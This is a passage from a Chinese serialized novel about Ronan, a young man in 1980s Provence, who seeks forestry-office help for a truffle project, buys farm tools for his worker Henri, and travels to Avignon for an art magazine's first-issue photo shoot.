罗南笑着下压手掌: “真的不用了,我认识的是普罗旺斯,不,应该说是南法地区最重要的一间杂志社的主编,她的杂志涉及艺术、时尚、美食和旅游等许多方面,正好我马上要和她见面了,到时候我来问问她是什么情况。” 下周,罗南和佐伊要接受米切兰杂志社进军艺术领域的第一本杂志《普罗旺斯艺术评论》的内容采访,伊内斯最近的全部精力都在这本杂志上,下周的采访她也会到场。 罗南原本是借此机会和会长坦白斯特斯加的事。 现在又多了一件聊软性植入。 罗南说的云淡风清,但对面的夫妇心里没办法平静了。 桑德琳对‘老板’罗南的印象再次刷新——罗南看起来平平无奇,但住着这么棒的房子,还认识那么多厉害的朋友,尤其他还那么年轻,未来无可限量啊。 能跟着这样一个老板,说不定在普罗旺斯会比在巴黎更加有发展前途呢。 布鲁诺苦闷的自斟自饮起来。 该死的,怎么又没帮上罗南? 之前的恩情要如何还上他呢?? 第427章 善意回响成歌 三个人聊了不一会,佐伊过来通知他们可以吃饭了。 吃饭的地方依然在院子里,但不是去年修建起来的正式用餐区。 那个地方适合十几二十个朋友的大型聚会。 今天只有他们六个人,其中还有2个是孩子,可以坐在更加惬意和舒服的地方。 “你们家后院到底有多少个休息区啊?”布鲁诺看着这个新区域,哭笑不得的摸了摸脑袋。 这个在树下的休闲区和刚刚休息的地方虽然有着不同的韵味和装饰风格,但给人的感觉是一样的——坐下就不想起来。 这里给人的感觉更加像度假了! “佐伊希望家里有足够多的休息区域,而且那个地方没办法吃饭,这里更好。”罗南帮助佐伊摆放餐具。 桑德琳跟着一起帮忙,她羡慕的对佐伊说: “如果有这么漂亮的院子,我可能每天都不舍得离开家。” 佐伊幸福的看了一眼罗南: “这要感谢罗南,让我不离开家就可以工作。” 布鲁诺不停的摇头: “你们的生活真是羡慕死人了。” 佐伊像女主人一样邀请两位客人入座: “好了,我们边吃边聊,快来尝尝地道的普罗旺斯乡村味道吧。” 佐伊今天做的菜肴全部是妈妈莉亚的拿手菜,也就是传统的地中海味道。 布鲁诺一家对这一桌菜赞不绝口,说比他们在餐厅里吃到的味道还要棒。 罗南连续喝了两碗马赛鱼汤,舔着嘴唇说: “亲爱的,你完全有能力去参加马赛鱼汤奥林匹克,晚上我就打电话给你报名。” 布鲁诺没听过什么‘马赛鱼汤奥林匹克比赛’,但看名字不难猜出是一个很厉害的活动,而罗南一个电话就可以把佐伊送过去.虽然知道这是玩笑,但同样证明他在普罗旺斯的人脉有多恐怖。 罗南还能有用的上我的地方吗.布鲁诺苦涩的想着。 佐伊加入后,桑德琳的状态更加放松了,很快她就问憋在心里许久的问题: “佐伊,你把院子设计的这么漂亮,可以也帮忙看看我家的院子吗?我们今天来卢尔马兰就是因为和工匠在装修细节上出现了分歧,我认为他们做出来的东西不够好看,只是能用而已。” 80年代的普罗旺斯没有设计师,只有干活的工匠,想要什么特殊的设计需要业主自己动一动脑子。 这让桑德琳无比头疼。 刚刚聊天的过程中听罗南说,佐伊‘设计’了这又设计了那,桑德琳想请佐伊帮帮忙。 佐伊放下叉子,指着罗南说: “事实上,我在装修中的作用只起到了‘标点’的作用,设计环节是罗南完成的。” 她指着他们屁股下面的垫子说: “比如这里,我跟罗南说,希望院子里有一个可以承载休息和吃饭两重任务的休息区,在我选好位置后,罗南就把这里设计成这样了。” 罗南笑着对佐伊说: “你还和我一起选了垫子的样式呢亲爱的,桌子也是我们一起做的,你的作用远远不止一个标点。” 佐伊耸肩: “好吧,我还做了一些其他。” “那另外那些地方呢?”桑德琳问罗南和佐伊,“工作室、蓄水池和其他休闲区域,也是罗南一个人设计的?” 佐伊露出幸福的笑容: “是的,我提出想法和希望达成的作用,罗南帮我一一实现了它们。” “上帝,你们的生活太让人羡慕了。”桑德琳忍不住夸赞出口。 紧接着,她用期待的语气问罗南: “如果有时间,你可以去我家的后院看看吗?” “当然,当然可以。”罗南依依不舍的放下刀叉,佐伊做的食物太好吃了,以至于他根本不想停下加入讨论,“下午我就去看看。” “哦,那太棒了!”桑德琳笑容满面的说。 布鲁诺笑的更加勉强了。 哎,又欠了罗南一份人情。 布鲁诺只是心里有点难受,但表现的还是挺自然的,只是偶尔会不经意的叹几口气。 “你怎么了?有心事?”罗南敏锐的发现了布鲁诺的反常。 布鲁诺摇摇头: “没有没有,可能是上午和工匠聊的让人有些恼火吧。” 桑德琳已经和佐伊完全混熟了,安慰丈夫: “不要担心,罗南和佐伊会帮助我们的,我们马上就可以住进和这里一样的漂亮大房子里了。” 佐伊开心的说: “过几天,我们要去马赛买沙发,如果你们没有事情也一起去吧,让罗南帮着你们一起看看。” “那太好了!”桑德琳笑的更加灿烂了。 事情看起来已经解决,但布鲁诺的叹气声偶尔还会出现。 过了一会儿,非常在意布鲁诺的状态又心思细腻的罗南小声问布鲁诺: “是工作中遇到什么问题了吗?” 布鲁诺摇头: “没有,还算顺利,虽然之前有一些蠢货留下了不少麻烦和问题,但我都一一解决了。” 布鲁诺在工作中的状态和生活中完全不同。 生活里,他是一个爱老婆爱孩子,家庭是第一位的优秀丈夫。 但在工作中,他是一个对无知和错误零容忍,非常爱爆粗口的‘暴躁上司’。 他训下属的样子还历历在目的刻在罗南的脑袋里呢。 罗南用面包蘸干净了盘子里的最后一滴汤汁,才心满意足的放下了刀叉: “但我可能要给你带来一点小小的‘麻烦’了。” 布鲁诺疑惑的抬头。 罗南喝完了杯子里剩余的粉红酒,有些不好意思的开口: “有件事,可能需要你帮忙。” 布鲁诺的光头肉眼可见的‘亮’了起来,他兴奋的坐直了身子,期待的问: “什么忙?” 罗南用了半个多小时的时间,给布鲁诺讲述了他和卢卡斯要的事情,和上一次在卡庞特拉与费尔南教授见面时讨论的内容。 既然找布鲁诺求助,那就一定要说清目的,含含糊糊的是浪费双方的时间。 所以罗南决定向布鲁诺坦白他的情况: “如果可以找到更加先进的接种方式,我需要一批树苗,我的合伙人告诉我之前的宿主树是找你们森林局买的。” 他稍微停顿了一下,似乎在组织语言: “人工培育松露实验的成本非常高,即使有农业部愿意帮我们承担一部分,剩下的数字也很恐怖,不知道有没有什么办法可以以比较低的价格买下这批树苗?而且我听我的合作伙伴说,他的森林之前就得到了一部分扶持和资助.以我们现在这个情况,还可以获取森林局其他的扶持吗?” 布鲁诺没想到罗南说的‘帮忙’居然是和工作有关的事情而且还如此复杂,导致他全程是皱着眉头听完的,一直到罗南讲述完了所有,他的眉头都没有舒展开来。 见布鲁诺一副‘愁眉苦脸’的样子,罗南在最后补充了一句: “如果没办法做到,你直接跟我说就好,最近我和沃克吕兹省的不少官员都打过交道,知道有些事情不行就是不行,想什么办法都是做不到的。” 布鲁诺皱着眉头问罗南: “你的这十公顷森林参加的是‘试验田’项目?” 罗南点头: “是的,今年年初的寒潮使得普罗旺斯黑松露冻伤严重,松露市场成交量暴跌50%,政府决定试点松露人工种植技术,资助这个项目的部门是普罗旺斯大区政府和沃克吕兹省农业部。” 布鲁诺的眉头依然没有舒展开: “你所说的那种先进的接种方式,是把菌丝和宿主树苗一起培育一段时间,等到他们的状态稳定下来,再栽种回森林里?” ‘黑松露组培苗共生体构建法’还没有传到普罗旺斯,因此布鲁诺是根据自己的理解,总结出的罗南所说的意思。 大体原理没有错,但罗南补充道: “是的,在无菌条件下人工诱导宿主树与菌丝共生,普罗旺斯做过类似的兰花实验。” 听完罗南的讲述,布鲁诺的眉头皱得更加深了,像是有一只眼睛在他的两眉之间生出。 这让罗南不由得紧张起来。 布鲁诺用更加严肃的语气问: “你们要用哪种宿主树苗?” 罗南回答道: “冬青栎或者欧洲榛,这两种都可以。” 布鲁诺点了点头,从口袋里拿出一个笔记本和一支笔: “和你对接的那个松露专家叫什么?” “费尔南教授。”罗南认真回答,“他是普罗旺斯松露研究中心的首席研究员。” 布鲁诺‘龙飞凤舞’的在笔记本上写下了费尔南的名字,并在上面圈了好几层,之后用笔用力的点了好几下。 “我知道了。”做完这些,布鲁诺把本子收起来,一抬头,看到大家都用一副紧张的表情看自己.连她的妻子都是同样的表情。 “很困难吗?”桑德琳紧张的问。 佐伊看了一眼罗南: “如果很麻烦就算了。” 她有钱,她来给罗南出钱! 罗南拍了拍佐伊的手背: “没事,布鲁诺,千万不要为难,我还可以想别的办法。” 朱莉特给罗南支过其他招,让他去找旅游局要钱。 罗南是想等布鲁诺这边有了一个结论再去找,旅游局是他的‘兜底’方案。 布鲁诺突然笑了起来,平摊双手: “嘿,你们怎么都是这副样子,我只是想要了解清楚啊,这样才能给罗南提供最好的帮助。” 随后,他心情愉悦的对罗南说: “这个忙一点都不为难,因为它确实在森林局的职责范围里,我现在至少能想到三个可以帮助你的‘途径’,但不要着急,我回去好好思考一下,也把这个项目再了解了解,我们森林局和农业部有许多交集,工作内容上也有一定的重合,等我找到最好的帮助你的方式,尽快回复你。” 罗南长舒了一口大气: “谢——” 布鲁诺突然做了一个法国人都能看懂的‘停下’的手势,指着罗南说: “你我之间不要说这个单词,都是自己人,我一定尽力。” 伙计,如果要说谢谢,你知道我欠了你多少句吗? 罗南听话的闭上嘴,但感激的举起酒杯: “以后常来我家玩。” 如果没有去年圣诞节把布鲁诺‘捡’回家的事情发生,罗南无法得到森林局的这个助力。 所以说,你对这个世界的善意,总会在不经意间回响成歌。 这便是生活中最值得期待的瞬间之一。 第428章 请好好生活! 算上罗南家门口的8亩葡萄园,斯特斯加所拥有的土地来到9.5公顷左右。 其中的5公顷葡萄园试种植梅洛。 佐伊新购入的4公顷南坡和罗南原先的8亩地继续种植歌海娜这种酿制粉红酒所需要的支柱葡萄。 担心亨利一个人种植这么大的面积太辛苦,罗南提出要给斯特斯加增加一个种植工的提议,但马上被亨利否决了。 亨利不想让任何人分走罗南先生的宠爱,坚持一个人完全没有问题。 罗南又去咨询了皮埃尔的意见。 皮埃尔说,以亨利现在手里的那些机械设备评估,打理10公顷葡萄园并不算吃力,甚至再增加3-5公顷也没问题,就是收葡萄时会有压力,需要多去一些人帮忙。 考虑到皮埃尔和自己在各个关键节点一定会去帮忙,斯特斯加还有那么多转行的农夫兄弟们,罗南便把这个想法暂时放下了。 但亨利却把这件事情记在了心里。 他干的更加努力和认真,有没有事都会在地里巡视,同时对罗南家后院的打理也更加用心了。 “亨利,你不用每天都来,院子里的卫生我昨天才做完。” 早上罗南带两只狗出来放风,一推门发现亨利又来打扫后院了。 院子里的花花草草不能每天浇水,亨利就隔三差五过来打扫打扫。 但那是院子啊,频率不用那么高的。 亨利见罗南出来本是满脸笑容,听到罗南居然自己打扫卫生,马上紧张的问: “罗南先生,是我哪里的卫生没有做好吗?” 罗南连连摇头: “不是不是,昨天布鲁诺带着他的妻子和孩子来我家做客,我就顺手打扫了一下,和你没有关系。” 亨利放下工具走到罗南身边,认真的说: “下次您家里来客人给我打电话,我过来打扫,这是我的工作!” 罗南笑着捏了两下亨利的肩膀: “放轻松伙计,你已经做的足够好了,无论是这里还是葡萄园。” 算上自己那不到1公顷的土地,亨利今年需要打理的土地面积有10公顷。 虽然皮埃尔说还远远没到上限,但亨利也是40岁的人了,不是小年轻。 罗南很担心亨利现在的状态问题,他太激进了。 亨利倔强的梗起脖子: “这才哪到哪儿?再给我10公顷我也能全部干了!” “好了好了——”罗南指着一个方向说,“最近北坡要埋排水暗管,你快去山上看着那些工人干活,别让他们搞砸了。” 朱莉特把罗南需要的暗排和滴灌设备申请来了,最近正在安装。 “那里不用我,特奥那个家伙在——”亨利说道一半突然停下,之后换了一副脸孔说,“好的罗南先生,我马上就去!” 特奥干农活的本事很差,但指挥人干活的本事数一数二,知道北坡在装重要的设备,特奥每天都会主动去盯着。 亨利一点都不想和特奥见面,哪里施工他便躲开哪里。 在罗南看不到的地方,他和特奥打了好几次,两个人依然谁都看不惯谁。 不过为了向罗南先生证明自己的能力,亨利决定今天也要去看看——功劳不能都让特奥那个家伙一个人抢了。 不就是再打一架吗? 谁怕谁啊! 亨利匆匆离开后,罗南继续遛狗。 穿越葡萄园时,罗南止不住的想: 去年他才只有8亩地,这才一年时间拥有的土地数量都翻倍了。 明年又会有多少呢? 他和佐伊有了钱一定会继续购买土地。 土地多了,活儿就变多了。 未来不止种植工不够,设备也不够用了.亨利现在用的还是自己的拖拉机呢。 “得想想工具升级的事情了。”罗南背着手喃喃自语。 但升级农用设备不是那么容易的跟钱没有太大的关系,阻碍在其他地方。 首先是时代的局限性。 当下这个年代,普罗旺斯落后的不只是农业技术,同时还有农用设备。 在和皮埃尔的多次闲聊中得知,许多先进的农用设备还都没有传入普罗旺斯。 斯特斯加的定位是纯手工粉红酒酒庄,这又导致现有的设备中有许多无法使用。 就比如可以提升5-10倍效率的采收机。 如果有这东西在,9月份亨利一个人就能把所有葡萄园收了。 但由于纯手工的限制,这种有可能会挤压到葡萄的设备被严令禁止,采收期只能由人工采摘。 还有一个阻碍是地形。 南坡和北坡的地形不够平坦一些大型设备无法开去那里工作。 “难啊。”罗南悠悠的叹了一口气。 现在还没到非买不可的地步。 要不然先等一等? 等到明年看看有没有什么新的东西出现? 罗南带着狗子们在附近玩了半个多小时,还去特奥家看了一会驴。 事实证明,马赛和驴相处的非常好,都处成老朋友了。 每次罗南遛狗路过,安娜的两只小驴都会友好的叫两声,马赛也会过去表达一下慰问。 马赛明明可以和异类和谐相处,罗南愈发觉得问题出在呼呼身上。 而他马上就要和呼呼进行比赛前的‘集训’了。 佐伊最近在给他们做详细的训练计划,说五月训练就要开始.她的目标是希望罗南和呼呼能拿到至少倒数第二。 就这样胡乱的想着,罗南带着两只狗原路返回。 到门口一看.亨利居然又出现在了刚刚的位置,手上同样拿着打扫用的工具。 “你怎么又回来了?”罗南奇怪的问。 亨利回头龇着牙笑了起来: “去的路上我突然想起来,特奥那个懒蛋不想早起,和工人约定的是每天上午8点半开始埋管路,现在还不到8点呢,我再干十几分钟再过去。” 罗南拉起亨利的胳膊就走。 亨利把工具拿的远远的,生怕弄脏罗南先生的干净衣服: “时间还来的及呢,罗南先生,现在不着急过去!” 罗南拉着亨利头也不回的说: “先不去北坡,跟我去别的地方。” “去哪里?”亨利听话的跟着小跑起来。 罗南霸道的说: “买农用工具。” 不等了,罗南现在就要给亨利配齐一套最先进的农业工具! 买农用设备需要去阿普特。 罗南去餐厅拿了一沓子现金后,马不停蹄的带着亨利出发。 亨利坐在罗南的车里,紧张的手和脚都不知道放哪里。 去年他坐过一次罗南新改装出来的明黄色跑车,但那天他穿的很干净,但今天穿的是干活的衣服,身上最干净的就是头上那顶几乎不离身的帽子。 见亨利一脸局促,罗南热情的和他聊天,以缓解他的压力。 问他妻子和女儿的情况,问家里还缺不缺什么。 亨利这种在吕贝隆生活了几十年的单纯小菜鸟哪里抗得住罗南的伎俩啊。 紧张的情绪很快消失不见,取而代之的是兴奋和感激——罗南先生对我太好了,他居然这么关心我和我的家人! 但更加让亨利兴奋和感激的是罗南居然要给他买一台气动剪枝机!! “这款生产于1985年的Campagnola AP200重量只有500g,但每分钟却可以剪切25-35次,保守估计每天可修剪0.7-1公顷,由于采用防滑橡胶包裹的弧形手柄,长时间使用也不会疲劳,即使每天8小时连续作业也不会感觉到累,如果选择高端型号,还可以随时切换老藤和新枝的气压,避免枝条撕裂。”售货员尽职尽责的介绍。 罗南问亨利: “这个可以吗?” 亨利激动的语无伦次: “我可以可以我也不知道。” 卢尔马兰的农夫们都是纯手动剪枝,哪里用过半自动工具啊? 罗南大手一挥: “要3个。” 亨利、他和皮埃尔一人一个。 售货员马上笑着说: “3600法郎。” “3个高端的,不是普通机型。”罗南打量起其他的东西,“电动喷雾器有吗?” 售货员的肉眼可见的热情起来: “我马上叫人帮您货备,我们这里什么都有,电动喷雾器也要看最先进的型号吗?” 罗南表情轻松的跟着售货员离开: “带我看看最先进型号的最高端机型,普通的不用看了。” 在他们身后,亨利的拳头攥到了一起。 罗南先生平时很少去地里,这些农用设备买来也是亨利用。 以前他也给土地主干过活,但哪个地主管会你累不累啊? 他们只会压榨农夫干更多的事情! 罗南先生是这世界上最好的人!! 罗南在阿普特买了3套气动剪枝机、一套1.5小时就可以喷完1公顷的电动喷雾器、还给亨利升级了他的除草与松土机,不到一个小时就花出去了4万多法郎。 这是卢尔马兰人完全无法想象的花钱速度! 返程途中,亨利执意要由他来开车。 来的时候太紧张了,没有想太多.哪里有老板给员工开车的道理啊? 电视和电影里演的都是员工开车,老板舒舒服服的坐着或者躺着。 但罗南坐进驾驶室直接把车打着了,对亨利挥手: “快坐进去吧亨利,没有那么多规矩。” 两个人僵持了一会,亨利心系北坡那边的施工情况,不想浪费时间,扭扭捏捏的坐回了副驾驶位置。 车子行驶了一会后,亨利忍不住说道: “罗南先生.我一定会努力工作,照顾好那些葡萄园、打理好您的后院,我发誓!我一定像对待自己的孩子一样对待它们!请您放心!!” 罗南一只手握着方向盘,一只手扶着档把,一字一句的说道: “如果你真的想让我放心,就多拿出些时间休息和陪伴家人我买这些设备,不是想让你在工作中投入更多的时间和精力,而是想要尽可能多的解放你。” 亨利愣在了当场,肚子里那些想要表决心的话全部卡在喉咙里。 罗南拍着方向盘说: “你知道我为什么喜欢普罗旺斯吗?因为这里有美丽的风景、有质朴的村民还有自由的空气这些全部是巴黎所没有的,亨利,你在吃不饱饭的时候都没有放弃‘生活’,现在有钱了,妻子和女儿也过上了富裕的日子,你更加要好好的‘生活’,而不是把时间放在田里和我的后院,你已经做的足够好了,别给自己那么大的压力好吗?” 罗南侧头看亨利,笑容灿烂的说: “我知道你在担心什么,你看,我今天还带你出来买东西了,我带别人出来过吗?放轻松点伙计!” 亨利把头扭到另一侧的窗外,死死的咬住嘴唇。 罗南先生一定是上帝派来拯救我的天使不能让天使看到我在哭泣! 但.罗南先生真的太好了!! 眼泪,你给我停下来!停下来啊!! 亨利把船长帽取下来,盖住脸,生怕自己没出息的样子被罗南先生看到。 突然,他的脖颈上附上一只温柔的手掌: “我会再订一辆新的拖拉机,有了这些东西,你的工作效率应该可以提升一倍,最近没有那么忙,带约瑟芬和丽莎去戈尔德或鲁西永玩一玩吧,她们应该很想去。” “啊啊啊啊啊——”泪水彻底决堤。 订完设备,罗南和亨利赶回对卢尔马兰的那片北坡。 听说昆西和布兰科去了山顶的斯特斯加厂房巡视,罗南也上去了,没有看着工人施工。 虽然罗南的办事效率很高,但他和亨利回来的时候已经11点多,特奥一见到死对头亨利就奚落的说: “哟,不是赚钱了吗?怎么还来工地蹭饭啊,早不来晚不来,非等吃饭的时候来。” 在吕贝隆,雇主必须要管临时工人的早午两顿饭,例如装修工匠、清理工和安装工等,晚饭视情况而异,这是规矩。 斯特斯加要给这些安装工提供午饭,这周围的伙计们自然能跟着混一顿饭吃。 听到特奥把话头对准亨利,几个酒庄的伙计马上站的远远的,生怕这两个人打起来波及到自己。 全村人都知道,特奥和亨利碰到一起一定会打架。 特奥一脸坏笑着盯着亨利,口袋里的拳头已经准备好了。 只要那个烂牙的家伙回一句嘴,他就会马上把拳头挥出去。 但‘期盼’中的画面并没有到来,亨利像是没听到似的,蹲下来检查之前的管道铺设的是否到位。 “喂,你聋了?”特奥的爆脾气涌了上来。 比争吵更加让人无法接受的是被人无视! 而亨利现在就是将他无视了! 亨利找了个地方坐下来,拿了一根烟点上: “我不会跟你打了。” 亨利一句话,又把周围几个躲得远远的伙计吸引了过来。 他们把亨利围住,好奇的问: “特奥那样说,你居然不生气?” “你是不有什么其他报复计划了?不会是想把特奥家烧了吧?” “亨利,你这老小子一定密谋什么事呢对不对!” 亨利把一只膝盖架起来,安静的看着身后的山顶,像是在守护着什么似的: “我只是在听罗南先生的话,罗南先生让我干什么我就干什么,他不让我打架,我就再也不打了,就是这样。” 特奥的脸色更差了。 罗南带亨利出去干什么了? 这人是亨利?? 第429章 创刊号 那之后的两天,罗南每天都会抽空去斯特斯加所在的那片山坡转转,找点活干。 他之前连拖拉机都没有,一直蹭其他人的用。 如今一次性买了这么多先进的农业设备,就像是买了新玩具的孩子一样有新鲜感。 罗南一连好几天出现在地里,还总抢着干活,尤其买来了这么多先进的设备其他伙计看亨利的眼神都变了。 之前,大家是村民关系。 我看不惯你,就是看不惯你,骂你怎么了?大家互不相关。 但现在又多了一层‘同事’关系,以前村民们就知道罗南和亨利的关系走得近,亨利一家是靠罗南的关照一点点富裕起来的。 现在这么一看.罗南对亨利果然和对其他人不一样啊。 “早啊亨利,这么早就去上山了?” “我妻子带来了新鲜的草莓,来来来,快尝尝。” “亨利,下午干完活一起去喝两杯吗?” 亨利在斯特斯加被更多人重视,最难受的就是特奥。 该死的,明明我和罗南才是最好的朋友! 怎么大家全部围着亨利转了? 尤其特奥还是一个爱出风头的性格,心里就更难受了。 那两天,在罗南看不到的地方,他又主动‘挑衅’了两次亨利,但每一次都像是打在软趴趴的棉花上。 亨利无视了特奥的全部幼稚举动,有人问他就把‘罗南先生让我干什么我就干什么’挂在嘴边,这显得他和罗南的关系更加密切了。 特奥闹腾了两天,自知无趣便也安静了下来。 烂了牙的亨利都知道要听罗南的话,他特奥更加要‘听话’了。 不止要‘听话’,他还要证明自己比亨利更加有用! “厂房什么时候能建好?” “之前跟你们说过了啊,8月底一定全部竣工,不耽误你们9月酿酒。” “不行不行,8月底太晚了,7月吧。” “7月?你开什么玩笑,提前一个月哪里有那么多人给你干?” “这么多人不是人吗?你们现在效率太低了,听我的,那两个伙计,你们别搬木材了,去那里砌墙,对对对,说的就是你们两个人!把墙砌起来再去搬木材!还有那三个人,别抽烟了快过来,我给你们找点事情干!” “你们听说了吗?特奥的名字都从卢尔马兰传到隔壁的古尔村了,那里的村民都知道卢尔马兰有一个特别会安排人干活的家伙,说不定过不了两个月,特奥的名字能传到梅纳村。”歌迪亚甩了一下脑袋,“我第一次见有人是因为这个出名。” 《普罗旺斯艺术评论》要在6月初发刊,伊内斯邀请罗南、佐伊和巴蒂去阿维尼翁接受杂志采访,作为大家的经纪人,歌迪亚自然要同行。 早在去年秋天她就收了几十件佐伊的器具,但歌迪亚没有着急出手,而是当作投资品一样留了下来。 事实证明,歌迪亚的投资和赌注是正确的,戈尔德系列活动后,这些器具的价格一涨再涨,这个月她和路易一样买了新的二手车子。 今天大家是坐着歌迪亚的新车子出来的。 副驾驶的巴蒂哈哈大笑着说: “我在卢尔马兰遇到过几个给斯特斯加建厂房的工人,他们亲切的称呼特奥为‘资本家’,还问我特奥在斯特斯加是做什么职务的。” 后排,做了精致打扮的佐伊侧头问罗南: “未来要给特奥安排什么职务?” 康奈尔9月后会跟罗南一起酿酒,亨利主攻种植葡萄,其他几个伙计也分别认领了旅游和斯特斯加的其他职务,只有特奥罗南从来没说过未来要让他干什么。 罗南笑着耸肩: “走一步看一步吧,说不定他们兄弟俩未来真的能一起共事呢?” 罗南知道特奥想跟着卢卡斯一起干点什么。 去年卢卡斯做人工培育松露时,特奥就跃跃欲试的想要加入。 但卢卡斯总是拿弟弟当‘孩子’,认为他不够成熟,为人处事也欠火候。 罗南决定多给特奥安排一些和人打交道的工作,希望在斯特斯加的工作经历能让特奥达到卢卡斯的要求吧。 听到罗南的回答,歌迪亚透过后视镜看后排: “卢卡斯那边的情况怎么样?” 卢尔马兰只有800多个村民,村子里发生了什么事情所有人都知道,歌迪亚自然知道罗南的斯特斯加加入了卢卡斯这名强援。 罗南正色道: “卢卡斯在马赛有许多朋友,市场开拓的比较顺利,杰罗姆,就是斯特斯加之前的老板告诉我,最近往马赛那边送的货多了不少。” 杰罗姆手里还押了许多粉红酒,罗南新开出来了什么客户,都会联系杰罗姆去送货,这种方式会持续到今年6月底。 斯特斯加在卢尔马兰的建设周期是在8月底之前完工,但酒窖会提前修建出来,这是现下最着急的。 等罗南这里有条件储存酒了,杰罗姆会和罗南进行一次新的结算,剩下的货全部送往卢尔马兰,由罗南负责销售,那个时候杰罗姆也就可以正式退休了。 “如果能在马赛那种大城市打开更大的销路,对你们来说是个好消息啊。”巴蒂回头对罗南说。 马赛是法国人口第二多的城市,仅次于巴黎,同时是继巴黎和里昂之后法国第三大都市区,人口有80多万,是普罗旺斯最重要的门户城市。 罗南点了点头: “但卢卡斯的目标不只是马赛,他在电话里说,下个月他会去尼斯,那里也有一些朋友,之后会在沿海城市走一圈,了解当地的情况,最后去阿维尼翁。” 歌迪亚‘哇哦’了一声: “感觉你们的生意越来越大了。” 罗南拍了下歌迪亚的座椅,前倾身体问: “你们的那个特色艺术市集弄的怎么样了?” 罗南和佐伊都没有参与到那个特色艺术市集中,不了解其中的情况。 歌迪亚语气轻松的说: “还不错,每天都能卖出去一些东西,主要是政府没有收我们的场地费,农夫们也是免费来帮忙装修的,卖一点就是赚到。” 围绕‘热点’组织的艺术特色集市在卢尔马兰村中的一处空置谷仓里举行,政府把这个闲置的谷仓免费给艺术家们使用了。 “装修进程还顺利吗?”罗南继续问。 “顺利顺利,非常顺利!”同样参与到特殊集市的巴蒂说,“特奥介绍来的农夫们干活又快又好,没几天就干完了。” 歌迪亚感慨道: “他们最后还是没有收工钱。” 佐伊抢在罗南之前开口,对歌迪亚说: “其实卢尔马兰的村民都很勤劳,也很能干,你看那些做编织的妇女们就知道了,等旅游季开始,如果哪个画廊或者艺术商铺缺人手,完全可以从村民里面招,不用去外村找人了。” 说完,佐伊偷偷对罗南挑了下眉毛。 我知道你在想什么! 不是提前跟你说过了吗? 这件事情我来说更加合适! 种地分农忙和农闲。 卖艺术品的同样有淡季和旺季之分。 在淡季,旅游景点里的艺术品店铺通常不会雇佣工人,只靠老板一个看店。 等游客们来到了普罗旺斯,商铺老板才会雇佣一到两个人来帮忙。 歌迪亚和其他艺术商铺老板不一样,她身居多职,去年冬天就找了一个看店的小姑娘。 那姑娘是外村人,有一点绘画的基础,以自己懂艺术为由,要的工资一点不少。 歌迪亚没有马上答应下来,想了一会才说: “我回去问问他们的价格,如果要的报酬不高,确实可以考虑本村人了。” 其实店员懂不懂艺术关系不大。 那只是个商铺,又不是博物馆。 而且在旅游旺季,商铺老板一定会在店中坐镇,招聘来的工人更多是做杂活的,例如打扫卫生、搬运东西和理货等等,关键是是否勤劳。 罗南和佐伊偷偷击了一下掌。 歌迪亚在卢尔马兰艺术家中的地位,等同于皮埃尔在农夫中的地位。 只要她接受了其他人都会效仿! 在未来的卢尔马兰,农夫和艺术家的结合不会只有罗南和佐伊。 相信这样的组合会接连不断的出现在这座朝气蓬勃的小村庄。 四个人聊了一路,不知不觉前方出现了阿维尼翁桥,这代表他们此行目的地快到了。 “我们今天要去的地方是米切兰杂志社的总部吗?”巴蒂难掩激动的问。 能参与到这么高级别杂志的‘创刊号’是一种无上的荣誉和荣耀。 一本杂志的‘创刊号’会奠定其内容的基调和风格,对于一本艺术类杂志而言,能参与到其中的艺术家代表被官方所肯定了。 而且‘创刊号’还具有深远的历史和经济价值。 以《时代》和《国家地理》等知名杂志为例,多年后他们‘创刊号’的拍卖价可以达到10万美元以上。 更极端一些,发表于1938年的《超人》漫画刊在21世纪拍卖到了600万美元,因为其首次引入了超级英雄的概念。 ‘创刊号’出版后,销量通常会非常亮眼,有些精明的家伙会把它们当作‘藏品’来收藏。 “不是他们的总部。”罗南看着窗外摇头,“米切兰杂志的总部并不在阿维尼翁。” “那为什么今天来这里?”巴蒂继续问。 罗南平摊双手: “我也不清楚,伊内斯只是给我打了一个电话,告诉我什么时间、什么地点、带着什么人过来,其他信息我全部不知道。” “伊内斯?米切兰杂志社的主编伊内斯吗?”巴蒂一脸憧憬的问,眼睛里全部是粉色的泡泡。 那可是他在普罗旺斯最最最尊敬的几位女性之一。 罗南居然认识她? 罗南露出古怪的神情: “我猜,在米切兰应该不会有第二个伊内斯了。” 他身边的朋友都怎么回事啊。 一个疯狂痴迷阿斯特丽德,见了那一面后‘茶不思饭不想’。 一个为见伊内斯激动成这个样子。 在普罗旺斯.年轻小姑娘不吃香了,大家都开始迷恋年纪大的了? 伊内斯的儿子可没比罗南小几岁啊。 巴蒂在车上时就开始‘摩拳擦掌’。 一会整理衣服,一会照镜子,一会找歌迪亚借护手霜还像疯了一样的喷香水,把一车人快熏死了。 为见‘女神’做了这么多准备,但歌迪亚把车开到约定的酒店门口,等着他们的却是一个年轻的姑娘。 “主编有其他事情脱不开身,我带你们进去。”那女孩礼貌的和罗南打招呼。 罗南认出她是在格拉斯跟伊内斯一起从餐厅里出来的几个人之一,应该是伊内斯的亲信之一。 虽然那姑娘一脸热情,还肤白貌美,但巴蒂的脸上还是出现了一些失望的神情。 好是好,但不是女神啊。 歌迪亚把巴蒂的反应清楚的看在眼看,小声讽刺他: “怎么?你还打算让伊内斯亲自来接待你?你以为你是谁啊?” 艺术时尚不分家。 歌迪亚一直和米切兰杂志社保持着一些联系,虽然不太亲密,但认识的员工不少,因此对伊内斯有着很深的了解,那是他们每次见面比聊的话题。 这位米切兰杂志社的掌门人是冷酷、完美主义和掌控欲的代名词。 她对杂志版面、内容拍板、甚至内页图片数都有苛刻要求,而且经常用命令的语气对下属说话,也从不表扬下属。 罗南和歌迪亚坦白过和伊内斯的渊源,但他们不过是同在一个协会里的会员于会长关系而已。 这样的‘女魔头’能在门口接待你吗? “我们去哪里?”进入酒店内部后,罗南问那女孩。 那女孩指了一个方向: “先去化妆间化妆,之后拍照。” “拍什么照?”罗南问。 那女孩一愣: “您不知道今天是来干什么的?” 罗南摇了摇头: “伊内斯没说。” 那女孩推开化妆间的门,请他们进入: “拍摄‘普罗旺斯境内前100艺术家’的定妆照。” 现在换做罗南、佐伊、巴蒂和歌迪亚愣住了,四个人异口同声的问: “名单和排序出来了?” 《普罗旺斯艺术评论》发刊的其中一个重要目的,就是沿袭‘米切兰’风格评选出普罗旺斯境内前100位艺术家的名单。 这个信息罗南和大家同步过,只是没想到这么快就出来,并且要排名了。 “出来了。”突然,一道声音在他们身后出现。 不远处的楼梯上出现了一位穿着睡衣、手拿酒杯、有斑驳白发的中年干练女性。 巴蒂的身高瞬间从189冲到了192。 女神,是他的女神来了! 